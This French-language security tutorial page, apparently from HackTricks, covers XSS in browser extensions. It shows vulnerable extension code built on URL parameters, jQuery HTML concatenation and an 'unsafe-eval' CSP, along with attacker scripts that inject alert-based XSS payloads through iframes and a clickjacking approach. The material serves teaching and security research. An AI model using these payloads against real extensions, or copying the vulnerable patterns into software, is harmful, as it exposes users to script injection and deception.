7.5 KiB
BrowExt - Exemple XSS
{% hint style="success" %}
Apprenez et pratiquez le hacking AWS :Formation HackTricks AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : Formation HackTricks GCP Red Team Expert (GRTE)
Soutenir HackTricks
- Consultez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PRs aux HackTricks et HackTricks Cloud dépôts github.
Cross-Site Scripting (XSS) via Iframe
Dans cette configuration, un script de contenu est implémenté pour instancier un Iframe, incorporant une URL avec des paramètres de requête comme source de l'Iframe :
chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});
Une page HTML accessible au public, message.html
, est conçue pour ajouter dynamiquement du contenu au corps du document en fonction des paramètres dans l'URL :
$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});
Un script malveillant est exécuté sur la page d'un adversaire, modifiant le paramètre content
de la source de l'Iframe pour introduire une charge utile XSS. Cela est réalisé en mettant à jour la source de l'Iframe pour inclure un script nuisible :
setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;
document.querySelector("iframe").src = maliciousURL;
}, 1000);
Une politique de sécurité de contenu trop permissive telle que :
"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"
permet l'exécution de JavaScript, rendant le système vulnérable aux attaques XSS.
Une approche alternative pour provoquer le XSS consiste à créer un élément Iframe et à définir sa source pour inclure le script nuisible en tant que paramètre content
:
let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);
DOM-based XSS + ClickJacking
Cet exemple a été tiré de l'article original.
Le problème principal provient d'une vulnérabilité Cross-site Scripting (XSS) basée sur le DOM située dans /html/bookmarks.html
. Le JavaScript problématique, qui fait partie de bookmarks.js
, est détaillé ci-dessous :
$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;
var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});
Ce snippet récupère la valeur du champ de saisie txtName
et utilise la concaténation de chaînes pour générer du HTML, qui est ensuite ajouté au DOM en utilisant la fonction .append()
de jQuery.
Typiquement, la politique de sécurité du contenu (CSP) de l'extension Chrome empêcherait de telles vulnérabilités. Cependant, en raison de l'assouplissement de la CSP avec ‘unsafe-eval’ et de l'utilisation des méthodes de manipulation du DOM de jQuery (qui emploient globalEval()
pour passer des scripts à eval()
lors de l'insertion dans le DOM), l'exploitation est toujours possible.
Bien que cette vulnérabilité soit significative, son exploitation dépend généralement de l'interaction de l'utilisateur : visiter la page, entrer une charge utile XSS et activer le bouton “Ajouter”.
Pour renforcer cette vulnérabilité, une vulnérabilité secondaire de clickjacking est exploitée. Le manifeste de l'extension Chrome présente une politique web_accessible_resources
étendue :
"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],
Notamment, la page /html/bookmarks.html
est sujette à l'encadrement, donc vulnérable au clickjacking. Cette vulnérabilité est exploitée pour encadrer la page dans le site d'un attaquant, la superposant avec des éléments DOM pour redessiner l'interface de manière trompeuse. Cette manipulation amène les victimes à interagir involontairement avec l'extension sous-jacente.
Références
- https://palant.info/2022/08/31/when-extension-pages-are-web-accessible/
- https://thehackerblog.com/steam-fire-and-paste-a-story-of-uxss-via-dom-xss-clickjacking-in-steam-inventory-helper/
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.